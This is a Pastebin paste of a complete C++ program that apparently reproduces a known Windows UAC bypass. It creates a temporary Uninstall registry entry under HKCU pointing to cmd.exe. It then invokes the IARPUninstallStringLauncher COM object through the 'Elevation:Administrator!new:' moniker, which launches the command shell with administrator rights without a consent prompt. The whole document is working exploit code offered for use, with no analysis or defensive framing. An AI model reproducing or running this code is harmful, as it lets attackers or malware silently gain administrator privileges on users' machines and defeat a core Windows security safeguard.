Advertisement
Guest User

Full Program

a guest
Apr 17th, 2017
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 5.32 KB | None | 0 0
  1.  
  2.     #include "stdafx.h"
  3.     #include <objbase.h>
  4.     #include <Windows.h>
  5.     #include <ntstatus.h>
  6.     #include <CommCtrl.h>
  7.     #include <shlobj.h>
  8.     #include <iostream>
  9.     #include <fci.h>
  10.     #include <fcntl.h>
  11.     #pragma comment(lib,"Ole32.lib")
  12.     #define T_CLSID_UninstallStringLauncher      L"{FCC74B77-EC3E-4DD8-A80B-008A702075A9}"
  13.     #define T_IID_IARPUninstallStringLauncher    L"{F885120E-3789-4FD9-865E-DC9B4A6412D2}"
  14.    
  15.     typedef interface IARPUninstallStringLauncher IARPUninstallStringLauncher;
  16.     typedef struct IARPUninstallStringLauncherVtbl {
  17.    
  18.         BEGIN_INTERFACE
  19.    
  20.             HRESULT(STDMETHODCALLTYPE *QueryInterface)(
  21.                 __RPC__in IARPUninstallStringLauncher * This,
  22.                 __RPC__in REFIID riid,
  23.                 _COM_Outptr_  void **ppvObject);
  24.    
  25.         ULONG(STDMETHODCALLTYPE *AddRef)(
  26.             __RPC__in IARPUninstallStringLauncher * This);
  27.    
  28.         ULONG(STDMETHODCALLTYPE *Release)(
  29.             __RPC__in IARPUninstallStringLauncher * This);
  30.    
  31.         HRESULT(STDMETHODCALLTYPE *LaunchUninstallStringAndWait)(
  32.             __RPC__in IARPUninstallStringLauncher * This,
  33.             _In_ HKEY hKey,
  34.             _In_ LPCOLESTR Item,
  35.             _In_ BOOL bModify,
  36.             _In_ HWND hWnd);
  37.    
  38.         HRESULT(STDMETHODCALLTYPE *RemoveBrokenItemFromInstalledProgramsList)(
  39.             __RPC__in IARPUninstallStringLauncher * This,
  40.             _In_ HKEY hKey,
  41.             _In_ LPCOLESTR Item);
  42.    
  43.         END_INTERFACE
  44.    
  45.     } *PIARPUninstallStringLauncherVtbl;
  46.     interface IARPUninstallStringLauncher
  47.     {
  48.         CONST_VTBL struct IARPUninstallStringLauncherVtbl *lpVtbl;
  49.     };
  50.     HRESULT ucmMasqueradedCoGetObjectElevate(_In_ LPWSTR clsid,_In_ DWORD dwClassContext,_In_ REFIID riid,_Outptr_ void **ppv)
  51.     {
  52.         HRESULT     r = E_FAIL;
  53.         BIND_OPTS3  bop;
  54.         WCHAR       szElevationMoniker[MAX_PATH];
  55.    
  56.         if (clsid == NULL)
  57.             return r;
  58.    
  59.         if (_strlen_w(clsid) > 64)
  60.             return r;
  61.    
  62.         RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));
  63.    
  64.         _strcpy_w(szElevationMoniker, L"Elevation:Administrator!new:");
  65.         _strcat_w(szElevationMoniker, clsid);
  66.    
  67.         RtlSecureZeroMemory(&bop, sizeof(bop));
  68.         bop.cbStruct = sizeof(bop);
  69.         bop.dwClassContext = dwClassContext;
  70.    
  71.         return CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, riid, ppv);
  72.     }
  73.     BOOL ucmMasqueradedAPRLaunchFile(
  74.         _In_ LPWSTR lpszFileGuid
  75.     )
  76.     {
  77.         BOOL                         bCond = FALSE;
  78.         HRESULT                      r = E_FAIL;
  79.         IID                          xIID_IARPUninstallStringLauncher;
  80.         CLSID                        xCLSID_IARPUninstallStringLauncher;
  81.         IARPUninstallStringLauncher *USLauncher = NULL;
  82.    
  83.         do {
  84.    
  85.             if (lpszFileGuid == NULL)
  86.                 break;
  87.    
  88.             if (CLSIDFromString(T_CLSID_UninstallStringLauncher, &xCLSID_IARPUninstallStringLauncher) != NOERROR) {
  89.                 break;
  90.             }
  91.             if (IIDFromString(T_IID_IARPUninstallStringLauncher, &xIID_IARPUninstallStringLauncher) != S_OK) {
  92.                 break;
  93.             }
  94.    
  95.             r = CoCreateInstance(&xCLSID_IARPUninstallStringLauncher, NULL,
  96.                 CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER,
  97.                 &xIID_IARPUninstallStringLauncher, &USLauncher);
  98.    
  99.             if (r != S_OK)
  100.                 break;
  101.    
  102.             r = ucmMasqueradedCoGetObjectElevate(T_CLSID_UninstallStringLauncher,
  103.                 CLSCTX_LOCAL_SERVER, &xIID_IARPUninstallStringLauncher, &USLauncher);
  104.             if (r != S_OK)
  105.                 break;
  106.    
  107.             r = USLauncher->lpVtbl->LaunchUninstallStringAndWait(USLauncher, 0, lpszFileGuid, FALSE, NULL);
  108.    
  109.         } while (bCond);
  110.    
  111.         if (USLauncher != NULL) {
  112.             USLauncher->lpVtbl->Release(USLauncher);
  113.         }
  114.    
  115.         return SUCCEEDED(r);
  116.     }
  117.     BOOL ucmUninstallLauncherMethod(
  118.         _In_ LPWSTR lpszExecutable
  119.     )
  120.     {
  121.         BOOL        bResult = FALSE, bCond = FALSE;
  122.         HKEY        hKey = NULL;
  123.         LRESULT     lResult;
  124.         GUID        guid;
  125.         WCHAR       szKeyName[MAX_PATH], szGuid[64];
  126.    
  127.         do {
  128.    
  129.             if (lpszExecutable == NULL)
  130.                 break;
  131.    
  132.             if (CoCreateGuid(&guid) != S_OK)
  133.                 break;
  134.    
  135.             _strcpy_w(szKeyName, L"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\");
  136.             if (StringFromGUID2(&guid, szGuid, sizeof(szGuid) / sizeof(WCHAR))) {
  137.                 _strcat_w(szKeyName, szGuid);
  138.    
  139.                 lResult = RegCreateKeyEx(HKEY_CURRENT_USER,
  140.                     szKeyName, 0, NULL, REG_OPTION_NON_VOLATILE, MAXIMUM_ALLOWED, NULL, &hKey, NULL);
  141.    
  142.                 if (lResult != ERROR_SUCCESS)
  143.                     break;
  144.    
  145.                 lResult = RegSetValueEx(hKey, L"UninstallString", 0, REG_SZ, (BYTE*)lpszExecutable,
  146.                     (DWORD)(_strlen_w(lpszExecutable) * sizeof(WCHAR)));
  147.    
  148.                 if (lResult != ERROR_SUCCESS)
  149.                     break;
  150.    
  151.                 bResult = ucmMasqueradedAPRLaunchFile(szGuid);
  152.             }
  153.    
  154.         } while (bCond);
  155.    
  156.         if (hKey != NULL) {
  157.             RegCloseKey(hKey);
  158.             RegDeleteKey(HKEY_CURRENT_USER, szKeyName);
  159.         }
  160.    
  161.         return bResult;
  162.     }
  163.     int main()
  164.     {
  165.         int i;
  166.         bool h = ucmUninstallLauncherMethod(L"c:\\windows\\system32\\cmd.exe");
  167.         if (h == TRUE)
  168.             std::cout << "function returned true" << std::endl;
  169.         else
  170.             std::cout << "Function failed you imbicile" << std::endl;
  171.        
  172.         while (true) {
  173.             i = 0;
  174.         }
  175.         return 0;
  176.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement